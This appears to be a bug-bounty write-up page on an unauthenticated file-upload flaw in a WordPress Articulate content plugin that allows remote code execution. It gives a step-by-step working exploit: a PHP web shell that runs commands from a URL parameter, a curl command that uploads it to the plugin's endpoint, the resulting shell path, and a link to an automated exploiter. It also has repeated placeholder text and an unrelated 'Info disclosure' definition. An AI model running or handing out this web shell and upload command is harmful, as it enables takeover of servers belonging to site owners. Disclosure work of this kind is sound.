WordPress Plugin Insert or Embed Articulate Content into WordPress Remote Code Execution (UNAUTHORIZED)
The Articulate WordPress plugin exposes an unauthenticated upload endpoint that accepts a ZIP archive and extracts it into a web-accessible directory. An attacker could upload a ZIP containing a PHP file and then request it to run arbitrary server-side code.
- Disclosed after 55 days
because in the burp suite, the build request is complicated, I only use curl
- Create file index.html and index.php
Index.html :
<html> Hello world </html>Index.php :
<?php system($_GET[cmd]); ?>- Once created enter into .zip (COMPRESS)
- LETS UPLOAD
CURL : curl site.com/index.php/wp-json/articulate/v1/upload-data -F "name={NAMAFILE}" -F "chunk={RANDOM}" -F "chunks={RANDOM}" -F "[email protected]" 4. OK HERE, THERE IS A READING UPLOAD COMPLETE which means success
we try access to site.com/PATH/ <PATH = PATH AT RESULT EX: site.com/wp-content/uploads/articulate_uploads/kntl17/index.php
For the autoxploiter https://pastebin.com/BEy5iDLA
Impact
Remote code execution
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the plugin's upload handler accepts unauthenticated ZIP archives and extracts them into a web-served directory without validating or restricting the file types inside.
Impact
An unauthenticated attacker could run arbitrary code on the WordPress server.
What the attacker needed
No authentication; plugin installed and reachable
How it was found
- Create a ZIP archive containing a PHP file and an HTML file.
- Send the ZIP to the plugin's upload endpoint with curl, supplying name, chunk and chunks fields.
- Confirm success from the upload-complete response and note the returned path.
- Request the extracted PHP file at the returned path to execute commands.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A WordPress plugin lets anyone send a ZIP file to a web address without logging in. The server unpacks that ZIP into a folder that the web server will happily execute code from. Because the attacker controls what is inside the ZIP, they can put a small program in it and then visit it in the browser to run commands on the server.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.